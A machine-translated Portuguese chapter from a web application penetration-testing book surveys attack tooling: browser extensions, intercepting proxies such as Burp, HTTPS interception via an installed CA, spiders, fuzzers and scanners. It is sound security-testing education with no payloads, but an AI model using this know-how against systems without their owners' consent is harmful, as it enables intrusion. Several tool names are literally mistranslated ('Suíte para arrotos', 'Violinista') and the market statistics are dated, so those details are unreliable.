O item mais importante de seu kit de ferramentas se enquadra nessa última categoria. Ele opera como um proxy da Web de interceptação, permitindo que você visualize e modifique todas as mensagens HTTP que passam entre o navegador e o aplicativo de destino. Com o passar dos anos, os proxies de interceptação básicos evoluíram para poderosos conjuntos de ferramentas integradas que contêm várias outras funções projetadas para ajudá-lo a atacar aplicativos da Web. Este capítulo examina como essas ferramentas funcionam e descreve como você pode usar melhor sua funcionalidade.

A segunda categoria principal de ferramenta é o scanner autônomo de aplicativos da Web. Esse produto foi projetado para automatizar muitas das tarefas envolvidas no ataque a um aplicativo da Web, desde o mapeamento inicial até a sondagem de vulnerabilidades. Este capítulo examina os pontos fortes e fracos inerentes aos scanners autônomos de aplicativos da Web e faz uma breve análise de algumas ferramentas atuais nessa área.

Por fim, várias ferramentas menores são projetadas para executar tarefas específicas ao testar aplicativos da Web. Embora você possa usar essas ferramentas apenas ocasionalmente, elas podem ser extremamente úteis em situações específicas.

Navegadores da Web

Um navegador da Web não é exatamente uma ferramenta de hacking, pois é o meio padrão pelo qual os aplicativos da Web são projetados para serem acessados. No entanto, a escolha do navegador da Web pode ter um impacto na eficácia do ataque a um aplicativo da Web. Além disso, há várias extensões disponíveis para diferentes tipos de navegadores, que podem ajudá-lo a realizar um ataque. Esta seção examina brevemente três navegadores populares e algumas das extensões disponíveis para eles.

Internet Explorer

O Internet Explorer (IE) da Microsoft é, há muitos anos, o navegador da Web mais usado. Ele continua sendo, segundo a maioria das estimativas, capturando aproximadamente 45% do mercado. Praticamente todos os aplicativos da Web são projetados e testados nas versões atuais do IE. Isso torna o IE uma boa opção para um invasor, porque o conteúdo e a funcionalidade da maioria dos aplicativos são exibidos corretamente e podem ser usados adequadamente no IE. Em particular, outros navegadores não oferecem suporte nativo a controles ActiveX, tornando o IE obrigatório se um aplicativo empregar essa tecnologia. Uma restrição imposta pelo IE é que você está limitado a trabalhar com a plataforma Microsoft Windows.

Devido à ampla adoção do IE, quando estiver testando scripts entre sites e outros ataques contra usuários de aplicativos, você deve sempre tentar fazer com que os ataques funcionem contra esse navegador, se possível (consulte o Capítulo 12).

OBSERVAÇÃO O Internet Explorer 8 introduziu um filtro anti-XSS que é ativado por padrão. Conforme descrito no Capítulo 12, esse filtro tenta bloquear a execução da maioria dos ataques XSS padrão e, portanto, causa problemas quando você está testando explorações XSS contra um aplicativo de destino. Normalmente, você deve desativar o filtro XSS durante o teste. O ideal é que, depois de confirmar uma vulnerabilidade de XSS, você reative o filtro e verifique se consegue encontrar uma maneira de contornar o filtro usando a vulnerabilidade que encontrou.

Há várias extensões úteis disponíveis para o IE que podem ser úteis ao atacar aplicativos da Web, incluindo as seguintes:

- O HttpWatch, mostrado na Figura 20-1, analisa todas as solicitações e respostas HTTP, fornecendo detalhes de cabeçalhos, cookies, URLs, parâmetros de solicitação, códigos de status HTTP e redirecionamentos.
- O IEWatch executa funções semelhantes às do HttpWatch. Ele também faz algumas análises de documentos HTML, imagens, scripts e similares.

Figura 20-1: O HttpWatch analisa as solicitações HTTP emitidas pelo Internet Explorer

Firefox

Atualmente, o Firefox é o segundo navegador da Web mais usado. Segundo a maioria das estimativas, ele representa aproximadamente 35% do mercado. A maioria dos aplicativos da Web funciona corretamente no Firefox; no entanto, ele não tem suporte nativo para controles ActiveX.

Há muitas variações sutis entre o manuseio de HTML e JavaScript pelos diferentes navegadores, principalmente quando eles não cumprem rigorosamente os padrões. Muitas vezes, você descobrirá que as defesas de um aplicativo contra bugs, como cross-site scripting, significam que seus ataques não são eficazes contra todas as plataformas de navegadores. A popularidade do Firefox é suficiente para que as explorações de XSS específicas do Firefox sejam perfeitamente válidas, portanto, você deve testá-las no Firefox se tiver dificuldades para fazê-las funcionar no IE. Além disso, os recursos específicos do Firefox têm permitido, historicamente, o funcionamento de uma série de ataques que não são possíveis contra o IE, conforme descrito no Capítulo 13.

Há um grande número de extensões de navegador disponíveis para o Firefox que podem ser úteis ao atacar aplicativos da Web, incluindo as seguintes:

- O HttpWatch também está disponível para o Firefox.
- O FoxyProxy permite o gerenciamento flexível da configuração de proxy do navegador, possibilitando a troca rápida, a configuração de proxies diferentes para URLs diferentes e assim por diante.
- O LiveHTTPHeaders permite que você modifique solicitações e respostas e reproduza solicitações individuais.
- A PrefBar permite ativar e desativar cookies, possibilitando verificações rápidas de controle de acesso, além de alternar entre diferentes proxies, limpar o cache e alternar o agente de usuário do navegador.
- O Wappalyzer revela as tecnologias em uso na página atual, mostrando um ícone para cada uma delas encontrada na barra de URL.
- A barra de ferramentas Web Developer oferece vários recursos úteis. Entre os mais úteis estão a capacidade de visualizar todos os links em uma página, alterar o HTML para tornar os campos de formulário graváveis, remover comprimentos máximos, exibir campos de formulário ocultos e alterar um método de solicitação de `GET` para `POST`.

Cromado

O Chrome é relativamente novo no cenário dos navegadores, mas ganhou popularidade rapidamente, conquistando aproximadamente 15% do mercado.

Há várias extensões de navegador disponíveis para o Chrome que podem ser úteis ao atacar aplicativos da Web, incluindo as seguintes:

- O XSS Rays é uma extensão que testa vulnerabilidades de XSS e permite a inspeção do DOM.
- O editor de cookies permite a visualização e a edição de cookies no navegador.
- O Wappalyzer também está disponível para o Chrome.
- A Web Developer Toolbar também está disponível para o Chrome.

É provável que o Chrome contenha seu quinhão de recursos peculiares que podem ser usados na construção de explorações para XSS e outras vulnerabilidades. Como o Chrome é relativamente novo, é provável que esse seja um alvo frutífero para pesquisas nos próximos anos.

Suítes de teste integradas

Depois do navegador da Web essencial, o item mais útil em seu kit de ferramentas ao atacar um aplicativo da Web é um proxy de interceptação. Nos primórdios dos aplicativos da Web, o proxy de interceptação era uma ferramenta autônoma que oferecia funcionalidade mínima. O venerável proxy Achilles simplesmente exibia cada solicitação e resposta para edição. Embora fosse extremamente básico, cheio de bugs e uma dor de cabeça para usar, o Achilles era suficiente para comprometer muitos aplicativos da Web nas mãos de um invasor habilidoso.

Ao longo dos anos, o humilde proxy de interceptação evoluiu para vários conjuntos de ferramentas altamente funcionais, cada um contendo várias ferramentas interconectadas projetadas para facilitar as tarefas comuns envolvidas no ataque a um aplicativo da Web. Vários conjuntos de testes são comumente usados por testadores de segurança de aplicativos da Web:

- Suíte para arrotos
- WebScarab
- Paros
- Zed Attack Proxy
- Andiparos
- Violinista
- CAT
- Charles

Esses kits de ferramentas diferem muito em seus recursos, e alguns são mais novos e mais experimentais do que outros. Em termos de funcionalidade pura, o Burp Suite é o mais sofisticado e, atualmente, é o único kit de ferramentas que contém toda a funcionalidade descrita nas seções a seguir. Até certo ponto, as ferramentas que você usa são uma questão de preferência pessoal. Se ainda não tiver uma preferência, recomendamos que baixe e use várias das suítes em uma situação real e determine qual delas atende melhor às suas necessidades.

Esta seção examina como as ferramentas funcionam e descreve os fluxos de trabalho comuns envolvidos no melhor uso delas nos testes de aplicativos Web.

Como as ferramentas funcionam

Cada conjunto de testes integrados contém várias ferramentas complementares que compartilham informações sobre o aplicativo de destino. Normalmente, o invasor se envolve com a

de forma normal por meio de seu navegador. As ferramentas monitoram as solicitações e respostas resultantes, armazenando todos os detalhes relevantes sobre o aplicativo de destino e fornecendo várias funções úteis. O conjunto típico contém os seguintes componentes principais:

- Um proxy de interceptação
- Um spider de aplicativo da Web
- Um fuzzer personalizável para aplicativos da Web
- Um scanner de vulnerabilidades
- Uma ferramenta de solicitação manual
- Funções para analisar cookies de sessão e outros tokens
- Diversas funções e utilitários compartilhados

Interceptação de proxies

O proxy de interceptação está no centro do conjunto de ferramentas e continua sendo atualmente o único componente essencial. Para usar um proxy de interceptação, você deve configurar seu navegador para usar como servidor proxy uma porta no computador local. A ferramenta de proxy é configurada para escutar nessa porta e recebe todas as solicitações emitidas pelo navegador. Como o proxy tem acesso às comunicações bidirecionais entre o navegador e o servidor Web de destino, ele pode empatar cada mensagem para análise e modificação pelo usuário e executar outras funções úteis, conforme mostrado na Figura 20-2.

Configuração de seu navegador

Se você nunca configurou seu navegador para usar um servidor proxy, isso é fácil de fazer em qualquer navegador. Primeiro, estabeleça qual porta local seu proxy de interceptação usa por padrão para escutar conexões (geralmente 8080). Em seguida, siga as etapas necessárias para seu navegador:

- No Internet Explorer, selecione Ferramentas ➢ Opções da Internet ➢ Conexões ➢ Configurações da LAN. Certifique-se de que as caixas "Detectar configurações automaticamente" e "Usar script de configuração automática" não estejam marcadas. Certifique-se de que a caixa "Use
  a caixa "um servidor proxy para sua LAN" está marcada. No campo Address (Endereço), digite `127.0.0.1` e, no campo Port (Porta), digite a porta usada pelo proxy. Clique no botão Advanced (Avançado) e verifique se a caixa "Use the same proxy server for all protocols" (Usar o mesmo servidor proxy para todos os protocolos) está marcada. Se o nome do host do aplicativo que você está atacando corresponder a qualquer uma das expressões na caixa "Não usar servidor proxy

para endereços que começam com", remova essas expressões. Clique em OK em todas as caixas de diálogo para confirmar a nova configuração.

- No Firefox, selecione Ferramentas ➢ Opções ➢ Avançado ➢ Rede ➢ Configurações. Certifique-se de que a opção Configuração manual de proxy esteja selecionada. No campo Proxy HTTP, digite `127.0.0.1` e, no campo Porta adjacente, digite a porta
usado pelo seu proxy. Certifique-se de que a caixa "Use this proxy server for all proto- cols" esteja marcada. Se o nome do host do aplicativo que você está atacando corresponder a alguma das expressões da caixa "No proxy for", remova essas expressões. Clique em OK em todas as caixas de diálogo para confirmar a nova configuração.
- O Chrome usa as configurações de proxy do navegador nativo que acompanha o o sistema operacional no qual ele está sendo executado. Você pode acessar essas configurações pelo Chrome selecionando Opções ➢ Sob o capô ➢ Rede
  ➢ Alterar configurações de proxy.

Figura 20-2: Edição de uma solicitação HTTP em tempo real usando um proxy de interceptação

TRABALHANDO COM CLIENTES SEM RECONHECIMENTO DE PROXY

Ocasionalmente, você poderá testar aplicativos que usam um c l i e n t e espesso que é executado fora do navegador. Muitos desses clientes não oferecem definições para configurar um proxy HTTP; eles simplesmente tentam se conectar diretamente ao servidor Web que hospeda o aplicativo. Esse comportamento impede que você simplesmente use um proxy de interceptação para visualizar e modificar o tráfego do aplicativo.

Felizmente, o Burp Suite oferece alguns recursos que permitem que você continue trabalhando nessa situação. Para fazer isso, você precisa seguir estas etapas:

1. Modifique o arquivo hosts do sistema operacional para resolver os nomes de host usados pelo aplicativo para o seu endereço de loopback (127.0.0.1). Por exemplo:

   ```
   127.0.0.1 www.wahh-app.com
   ```

   Isso faz com que as solicitações do thick client sejam redirecionadas para seu próprio computador.

2. Para cada porta de destino usada pelo aplicativo (normalmente 80 e 443), configure um ouvinte Burp Proxy nessa porta de sua interface de loopback e defina o ouvinte para suportar o proxy invisível. O recurso de proxy invisível significa que o ouvinte aceitará as solicitações de estilo não proxy enviadas pelo thick client, que foram redirecionadas para o seu endereço de loopback.

3. O proxy de modo invisível é compatível com solicitações HTTP e HTTPS. Para evitar erros fatais de certificado com SSL, pode ser necessário configurar o ouvinte do proxy invisível para apresentar um certificado SSL com um nome de host específico que corresponda ao que o thick client espera. A seção a seguir contém detalhes sobre como evitar problemas de certificado causados por proxies interceptadores.

4. Para cada nome de host que você redirecionou usando o arquivo hosts, configure o Burp para resolver o nome de host para o endereço IP original. Essas configurações

   pode ser encontrado em Opções ➢ Conexões ➢ Resolução de nome de host. Eles permitem que você especifique mapeamentos personalizados de nomes de domínio para endereços IP
   para substituir a resolução de DNS de seu próprio computador. Isso faz com que as solicitações de saída do Burp sejam direcionadas para o servidor de destino correto. (Sem essa etapa, as solicitações seriam redirecionadas para o seu próprio computador em um loop infinito).

TRABALHANDO COM CLIENTES SEM RECONHECIMENTO DE PROXY

5. Ao operar no modo invisível, o Burp Proxy identifica o host de destino para o qual cada solicitação deve ser encaminhada usando o cabeçalho `Host` que aparece nas solicitações. Se o thick client que você está testando não tiver
   Se o Burp não incluir um cabeçalho `Host` nas solicitações, não poderá encaminhá-las corretamente. Se estiver lidando com apenas um host de destino, você pode contornar esse problema configurando o ouvinte proxy invisível para redirecionar todas as suas solicitações para o host de destino necessário. Se estiver lidando com vários hosts de destino, provavelmente precisará executar várias instâncias do Burp em vários computadores e usar o arquivo hosts para redirecionar o tráfego de cada host de destino para um computador de interceptação diferente.

Interceptação de proxies e HTTPS

Ao lidar com comunicações HTTP não criptografadas, um proxy de interceptação funciona essencialmente da mesma forma que um proxy normal da Web, conforme descrito no Capítulo 3. O navegador envia solicitações HTTP padrão para o proxy, com a exceção de que o URL na primeira linha da solicitação contém o nome completo do host do servidor da Web de destino. O proxy analisa esse nome de host, resolve-o em um endereço IP, converte a solicitação em seu equivalente padrão não proxy e a encaminha para o servidor de destino. Quando esse servidor responde, o proxy encaminha a resposta de volta para o navegador do cliente.

Para comunicações HTTPS, o navegador primeiro faz uma solicitação de texto claro ao proxy usando o método `CONNECT`, especificando o nome do host e a porta do servidor de destino. Quando um proxy normal (não interceptador) é usado, o proxy responde com um código de status HTTP 200 e mantém a conexão TCP aberta. Desse ponto em diante (para essa conexão), o proxy atua como um relé de nível TCP para o servidor de destino. Em seguida, o navegador executa um handshake SSL com o servidor de destino, configurando um túnel seguro pelo qual as mensagens HTTP são transmitidas. Com um proxy de interceptação, esse processo deve funcionar de forma diferente para que o proxy possa obter acesso às mensagens HTTP que o navegador envia pelo túnel. Conforme mostrado na Figura 20-3, após responder à solicitação `CONNECT` com um código de status HTTP 200, o proxy de interceptação não atua como um relé, mas executa a parte do servidor do handshake SSL com o navegador. Ele também atua como um cliente SSL e executa um segundo handshake SSL com o servidor da Web de destino. Assim, são criados dois túneis SSL, com o proxy atuando como intermediário. Isso permite que o proxy descriptografe cada mensagem recebida

através de qualquer um dos túneis, obter acesso à sua forma de texto claro e, em seguida, criptografá-lo novamente para transmissão através do outro túnel.

Figura 20-3: Um proxy de interceptação permite que você visualize e modifique as comunicações HTTPS

Obviamente, se qualquer invasor adequadamente posicionado pudesse executar esse truque sem ser detectado, o SSL seria inútil, pois não protegeria a privacidade e a integridade das comunicações entre o navegador e o servidor. Por esse motivo, uma parte importante do handshake SSL envolve o uso de certificados criptográficos para autenticar a identidade de qualquer uma das partes. Para executar a parte do servidor do handshake SSL com o navegador, o proxy de interceptação deve usar seu próprio certificado SSL, pois não tem acesso à chave privada usada pelo servidor de destino.

Nessa situação, para se proteger contra ataques, os navegadores avisam o usuário, permitindo que ele visualize o certificado espúrio e decida se deve confiar nele. A Figura 20-4 mostra o aviso apresentado pelo IE. Quando um proxy de interceptação está sendo usado, tanto o navegador quanto o proxy estão totalmente sob o controle do invasor, de modo que ele pode aceitar o certificado espúrio e permitir que o proxy crie dois túneis SSL. Quando você estiver usando o navegador para testar um aplicativo que usa um único domínio, o manuseio do aviso de segurança do navegador e a aceitação do certificado espúrio do proxy podem ser usados para criar dois túneis SSL.

O certificado desenvolvido internamente dessa forma normalmente é simples. Entretanto, em outras situações, você ainda pode encontrar problemas. Muitos dos aplicativos atuais envolvem várias solicitações entre domínios para imagens, código de script e outros recursos. Quando o HTTPS está sendo usado, cada solicitação a um domínio externo faz com que o navegador receba o certificado SSL inválido do proxy. Nessa situação, os navegadores geralmente não avisam o usuário e, portanto, não dão a ele a opção de aceitar o certificado SSL inválido para cada domínio. Em vez disso, eles normalmente descartam as solicitações entre domínios, silenciosamente ou com um alerta informando que isso ocorreu.

Figura 20-4: O uso de um proxy de interceptação com comunicações HTTPS gera um aviso no navegador do invasor

Outra situação em que os certificados SSL internos do proxy podem causar problemas é quando você usa um thick client executado fora do navegador. Normalmente, esses clientes simplesmente não conseguem se conectar se um certificado SSL inválido for recebido e não oferecem nenhuma maneira de aceitar o certificado.

Felizmente, há uma maneira simples de contornar esses problemas. Na instalação, o Burp Suite gera um certificado CA exclusivo para o usuário atual e o armazena na máquina local. Quando o Burp Proxy recebe uma solicitação HTTPS para um novo domínio, ele cria um novo certificado de host para esse domínio em tempo real e o assina usando o certificado CA. Isso significa que o usuário pode instalar o certificado CA do Burp como uma raiz confiável em seu navegador (ou outro armazenamento de confiança). Todos os certificados resultantes por host são aceitos como válidos, removendo assim todos os erros de SSL causados pelo proxy.

O método exato para instalar o certificado CA depende do navegador e da plataforma. Essencialmente, ele envolve as seguintes etapas:

1. Visite qualquer URL HTTPS com seu navegador por meio do proxy.
2. No aviso do navegador resultante, explore a cadeia de certificados e selecione o certificado raiz na árvore (chamado PortSwigger CA).
3. Importe esse certificado para o navegador como uma autoridade de certificação ou raiz confiável. Dependendo do seu navegador, talvez seja necessário primeiro exportar o certificado e depois importá-lo em uma operação separada.

Instruções detalhadas sobre a instalação do certificado CA do Burp em diferentes navegadores estão contidas na documentação on-line do Burp Suite no seguinte URL:

```
http://portswigger.net/burp/help/servercerts.html
```

Recursos comuns de proxies de interceptação

Além de sua função principal de permitir a interceptação e a modificação de solicitações e respostas, os proxies de interceptação geralmente contêm uma grande variedade de outros recursos para ajudá-lo a atacar aplicativos da Web:

- Regras de interceptação refinadas, permitindo que as mensagens sejam interceptadas para análise ou encaminhadas silenciosamente, com base em critérios como host de destino, URL, método, tipo de recurso, código de resposta ou aparência de expressões específicas (consulte a Figura 20-5). Em um aplicativo típico, a grande maioria das solicitações e respostas é de pouco interesse para você. Essa função permite que você configure o proxy para sinalizar somente as mensagens que lhe interessam.
- Um histórico detalhado de todas as solicitações e respostas, permitindo que as mensagens anteriores sejam revisadas e transmitidas a outras ferramentas do conjunto para análise adicional (consulte a Figura 20-6). Você pode filtrar e pesquisar o histórico do proxy para encontrar rapidamente itens específicos e pode anotar itens interessantes para referência futura.
- Regras automatizadas de correspondência e substituição para modificar dinamicamente os conteúdos de solicitações e respostas. Essa função pode ser útil em várias situações. Os exemplos incluem a reescrita do valor de um cookie ou outro parâmetro em todas as solicitações, a remoção de diretivas de cache e a simulação de um navegador específico com o cabeçalho `User-Agent`.
- Acesso à funcionalidade de proxy diretamente do navegador, além da interface do usuário do cliente. Você pode navegar pelo histórico do proxy e reemitir solicitações individuais a partir do contexto do navegador, permitindo que as respostas sejam totalmente processadas e interpretadas da maneira normal.
- Utilitários para manipular o formato das mensagens HTTP, como a conversão entre diferentes métodos de solicitação e codificações de

conteúdo. Às vezes, eles podem ser úteis para o ajuste fino de um ataque, como cross-site scripting.

- Funções para modificar automaticamente determinados recursos HTML em tempo real. Você pode exibir campos de formulários ocultos, remover limites de campos de entrada e remover a validação de formulários JavaScript.

Figura 20-5: O proxy Burp suporta a configuração de regras refinadas para interceptar solicitações e respostas

Figura 20-6: O histórico do proxy, permitindo que você visualize, filtre, pesquise e anote solicitações e respostas feitas por meio do proxy

Aranhas de aplicativos da Web

Os spiders de aplicativos da Web funcionam de forma muito semelhante aos spiders tradicionais da Web. Eles solicitam páginas da Web, analisam-nas em busca de links para outras páginas e, em seguida, solicitam essas páginas, continuando recursivamente até que todo o conteúdo de um site tenha sido descoberto. Para acomodar as diferenças entre os aplicativos funcionais da Web e os sites tradicionais, os spiders de aplicativos devem ir além dessa função principal e enfrentar vários outros desafios:

- Navegação baseada em formulários, usando listas suspensas, entrada de texto e outros métodos
- Navegação baseada em JavaScript, como menus gerados dinamicamente
- Funções de vários estágios que exigem ações a serem executadas em uma sequência definida
- Autenticação e sessões
- O uso de identificadores baseados em parâmetros, em vez do URL, para especificar diferentes conteúdos e funcionalidades
- O aparecimento de tokens e outros parâmetros voláteis na string de consulta de URL, o que leva a problemas de identificação de conteúdo exclusivo.

Vários desses problemas são tratados em conjuntos de testes integrados por meio do compartilhamento de dados entre o proxy de interceptação e os componentes do spider. Isso permite que você use o aplicativo de destino da maneira normal, com todas as solicitações sendo processadas pelo proxy e passadas para o spider para análise posterior. Todos os mecanismos incomuns de navegação, autenticação e manuseio de sessão são, portanto, tratados pelo navegador e por suas ações. Isso permite que o spider crie uma imagem detalhada do conteúdo do aplicativo sob o seu controle detalhado. Essa técnica de spidering direcionada ao usuário é descrita em detalhes no Capítulo 4. Depois de reunir o máximo de informações possível, o spider pode ser iniciado para investigar mais a fundo, descobrindo potencialmente conteúdo e funcionalidade adicionais.

Os seguintes recursos são comumente implementados nos spiders de aplicativos da Web:

- Atualização automática do mapa do site com URLs acessados por meio do proxy de interceptação.
- Espionagem passiva do conteúdo processado pelo proxy, analisando-o em busca de links e adicionando-os ao mapa do site sem solicitá-los de fato (consulte a Figura 20-7).
- Apresentação do conteúdo descoberto em forma de tabela e árvore, com a possibilidade de pesquisar esses resultados.
- Controle refinado sobre o escopo do spidering automatizado. Isso permite que você especifique quais nomes de host, endereços IP, caminhos de diretório, tipos de arquivo,

e outros itens que o spider deve solicitar para se concentrar em uma área específica de funcionalidade. Você deve impedir que o spider siga links inadequados dentro ou fora da infraestrutura do aplicativo de destino. Esse recurso também é essencial para evitar o uso de spidering em funcionalidades poderosas, como interfaces administrativas, que podem causar efeitos colaterais perigosos, como a exclusão de contas de usuários. Também é útil para evitar que o spider solicite a função de logout, invalidando assim sua própria sessão.

- Análise automática de formulários HTML, scripts, comentários e imagens, e análise dos mesmos no mapa do site.
- Análise de conteúdo JavaScript para URLs e nomes de recursos. Mesmo que um mecanismo JavaScript completo não esteja implementado, essa função geralmente permite que um spider descubra os alvos da navegação baseada em JavaScript, porque eles geralmente aparecem em forma literal no script.
- Envio automático e guiado pelo usuário de formulários com parâmetros adequados (consulte a Figura 20-8).
- Detecção de respostas personalizadas de arquivo não encontrado. Muitos aplicativos respondem com uma mensagem HTTP 200 quando um recurso inválido é solicitado. Se os spiders não conseguirem reconhecer isso, o mapa de conteúdo resultante conterá falsos positivos.
- Verificação do arquivo `robots.txt`, que tem o objetivo de fornecer uma lista negra de URLs que não devem ser examinados, mas que um spider atacante pode usar para descobrir conteúdo adicional.
- Recuperação automática da raiz de todos os diretórios enumerados. Isso pode ser útil para verificar se há listagens de diretórios ou conteúdo padrão (consulte o Capítulo 17).
- Processamento automático e uso de cookies emitidos pelo aplicativo para permitir que o spidering seja realizado no contexto de uma sessão autenticada.
- Teste automático da dependência de sessão de páginas individuais. Isso envolve a solicitação de cada página com e sem cookies que tenham sido recebidos. Se o mesmo conteúdo for recuperado, a página não requer uma sessão ou autenticação. Isso pode ser útil ao investigar alguns tipos de falhas de controle de acesso (consulte o Capítulo 8).
- Uso automático do cabeçalho `Referer` correto ao emitir solicitações. Alguns aplicativos podem verificar o conteúdo desse cabeçalho, e essa função garante que o spider se comporte, tanto quanto possível, como um navegador comum.
- Controle de outros cabeçalhos HTTP usados em spidering automatizado.
- Controle sobre a velocidade e a ordem das solicitações automatizadas do spider para evitar sobrecarregar o alvo e, se necessário, comportar-se de maneira furtiva.

Figura 20-7: Os resultados do spidering passivo de aplicativos, em que os itens em cinza foram identificados passivamente, mas ainda não solicitados

Figura 20-8: Burp Spider solicitando orientação do usuário ao enviar formulários

Fuzzers de aplicativos da Web

Embora seja possível realizar um ataque bem-sucedido usando apenas técnicas manuais, para se tornar um hacker de aplicativos da Web realmente bem-sucedido, você precisa automatizar seus ataques para aumentar sua velocidade e eficácia. Capítulo 14

descreveu em detalhes as diferentes maneiras pelas quais a automação pode ser usada em ataques personalizados. A maioria das suítes de teste inclui funções que aproveitam a automação para facilitar várias tarefas comuns. Aqui estão alguns recursos comumente implementados:

- Sondagem configurada manualmente para vulnerabilidades comuns. Essa função permite que você controle com precisão quais cadeias de ataque são usadas e como elas são incorporadas às solicitações. Em seguida, é possível analisar os resultados para identificar quaisquer respostas incomuns ou anômalas que mereçam investigação adicional.
- Um conjunto de cargas úteis de ataque incorporadas e funções versáteis para gerar cargas úteis arbitrárias de maneiras definidas pelo usuário, por exemplo, com base em codificação malformada, substituição de caracteres, força bruta e dados recuperados em um ataque anterior.
- A capacidade de salvar resultados de ataques e dados de resposta para usar em relatórios ou incorporar em ataques futuros.
- Funções personalizáveis para visualizar e analisar respostas - por exemplo, com base na aparência de expressões específicas ou na própria carga útil do ataque (consulte a Figura 20-9).
- Funções para extrair dados úteis das respostas do aplicativo, por exemplo, analisando os campos de nome de usuário e senha em uma página My Details. Isso pode ser útil quando você estiver explorando várias vulnerabilidades, inclusive falhas no tratamento de sessões e nos controles de acesso.

Figura 20-9: Os resultados de um exercício de fuzzing usando o Burp Intruder

Scanners de vulnerabilidade da Web

Algumas suítes de testes integrados incluem funções para verificar vulnerabilidades comuns em aplicativos da Web. A varredura realizada se enquadra em duas categorias:

- *A varredura passiva* envolve o monitoramento das solicitações e respostas que passam pelo proxy local para identificar vulnerabilidades, como envio de senhas em texto não criptografado, configuração incorreta de cookies e vazamento de Referer entre domínios. É possível executar esse tipo de varredura de forma não invasiva com qualquer aplicativo que você visite com o navegador. Esse recurso costuma ser útil ao definir o escopo de um compromisso de teste de penetração. Ele lhe dá uma ideia da postura de segurança do aplicativo em relação a esses tipos de vulnerabilidades.
- *A varredura ativa* envolve o envio de novas solicitações ao aplicativo de destino para sondar vulnerabilidades como cross-site scripting, injeção de cabeçalho HTTP e passagem de caminho de arquivo. Como qualquer outro teste ativo, esse tipo de varredura é potencialmente perigoso e deve ser realizado somente com o consentimento do proprietário do aplicativo.

Os scanners de vulnerabilidade incluídos nas suítes de teste são mais orientados pelo usuário do que os scanners autônomos discutidos mais adiante neste capítulo. Em vez de apenas fornecer um URL inicial e deixar que o scanner rastreie e teste o aplicativo, o usuário pode guiar o scanner pelo aplicativo, controlar precisamente quais solicitações são rastreadas e receber feedback em tempo real sobre solicitações individuais. Aqui estão algumas maneiras típicas de usar a função de varredura em um conjunto de testes integrados:

- Depois de mapear manualmente o conteúdo de um aplicativo, você pode selecionar áreas de funcionalidade interessantes no mapa do site e enviá-las para serem examinadas. Isso permite que você direcione seu tempo disponível para a varredura das áreas mais críticas e receba os resultados dessas áreas mais rapidamente.
- Ao testar manualmente solicitações individuais, você pode complementar seus esforços fazendo a varredura de cada solicitação específica à medida que a testa. Isso lhe dá um feedback quase instantâneo sobre as vulnerabilidades comuns dessa solicitação, o que pode orientar e otimizar seus testes manuais.
- Você pode usar a ferramenta de spidering automatizada para rastrear todo o aplicativo e, em seguida, verificar todo o conteúdo descoberto. Isso emula o comportamento básico de um scanner autônomo da Web.
- No Burp Suite, você pode ativar a varredura ao vivo enquanto navega. Isso permite que você oriente a cobertura do scanner usando o navegador e receba feedback rápido sobre cada solicitação que fizer, sem precisar identificar manualmente as solicitações que deseja digitalizar. A Figura 20-10 mostra os resultados de um exercício de varredura ao vivo.

Figura 20-10: Os resultados da varredura ao vivo enquanto você navega com o Burp Scanner

Embora os scanners dos conjuntos de testes integrados sejam projetados para serem usados de forma diferente dos scanners autônomos, em alguns casos o mecanismo de escaneamento principal é altamente capaz e se compara favoravelmente aos dos principais scanners autônomos, conforme descrito mais adiante neste capítulo.

Ferramentas de solicitação manual

O componente de solicitação manual dos conjuntos de testes integrados fornece o recurso básico para emitir uma única solicitação e visualizar sua resposta. Embora simples, essa função costuma ser útil quando você está investigando uma vulnerabilidade provisória e precisa reemitir a mesma solicitação manualmente várias vezes, ajustando elementos da solicitação para determinar o efeito no comportamento do aplicativo. É claro que você poderia executar essa tarefa usando uma ferramenta autônoma, como o Netcat, mas ter o

A função de solicitação manual incorporada ao conjunto significa que você pode recuperar rapidamente uma solicitação interessante de outro componente (proxy, spider ou fuzzer) para investigação manual. Isso também significa que a ferramenta de solicitação manual se beneficia das várias funções compartilhadas implementadas no conjunto, como renderização de HTML, suporte para proxies upstream e autenticação e atualização automática do cabeçalho `Content Length`. A Figura 20-11 mostra uma solicitação sendo reemitida manualmente.

Figura 20-11: Uma solicitação sendo reemitida manualmente usando o repetidor de burp

Os recursos a seguir são frequentemente implementados em ferramentas de solicitação manual:

- Integração com outros componentes da suíte e capacidade de encaminhar qualquer solicitação de e para outros componentes para investigação adicional.
- Um histórico de todas as solicitações e respostas, mantendo um registro completo de todas as solicitações manuais para análise posterior e permitindo que uma solicitação modificada anteriormente seja recuperada para análise posterior

- Uma interface com várias guias, permitindo que você trabalhe em vários itens diferentes ao mesmo tempo
- A capacidade de seguir redirecionamentos automaticamente

Analisadores de token de sessão

Alguns conjuntos de testes incluem funções para analisar a aleatoriedade adequada dos cookies de sessão e outros tokens usados no aplicativo quando há necessidade de imprevisibilidade. O Burp Sequencer é uma ferramenta poderosa que executa testes estatísticos padrão de aleatoriedade em uma amostra de tokens de tamanho arbitrário e fornece resultados refinados em um formato acessível. O Burp Sequencer é mostrado na Figura 20-12 e é descrito em mais detalhes no Capítulo 7.

Figura 20-12: Uso do Burp Sequencer para testar as propriedades de aleatoriedade do token de sessão de um aplicativo

Funções e utilitários compartilhados

Além dos componentes principais da ferramenta, as suítes de teste integradas oferecem uma grande variedade de outros recursos de valor agregado que atendem a necessidades específicas que surgem quando você está atacando um aplicativo da Web e que permitem que as outras ferramentas funcionem em situações incomuns. Os recursos a seguir são implementados pelos diferentes conjuntos:

- Análise da estrutura da mensagem HTTP, incluindo análise de cabeçalhos e parâmetros de solicitação e descompactação de formatos de serialização comuns (consulte a Figura 20-13)
- Renderização do conteúdo HTML nas respostas, como ele apareceria no navegador
- A capacidade de exibir e editar mensagens em formato de texto e hexadecimal
- Funções de pesquisa em todas as solicitações e respostas
- Atualização automática do cabeçalho HTTP `Content-Length` após qualquer edição manual do conteúdo da mensagem
- Codificadores e decodificadores integrados para vários esquemas, permitindo uma análise rápida dos dados da aplicação em cookies e outros parâmetros
- Uma função para comparar duas respostas e destacar as diferenças
- Recursos para descoberta automatizada de conteúdo e análise de superfície de ataque
- A capacidade de salvar no disco a sessão de teste atual e recuperar as sessões salvas
- Suporte para proxies da Web upstream e proxies SOCKS, permitindo que você encadeie diferentes ferramentas ou acesse um aplicativo por meio do servidor proxy usado por sua organização ou ISP
- Recursos para lidar com sessões de aplicativos, login e tokens de solicitação, permitindo que você continue usando técnicas manuais e automatizadas quando confrontado com mecanismos de tratamento de sessões incomuns ou altamente defensivos
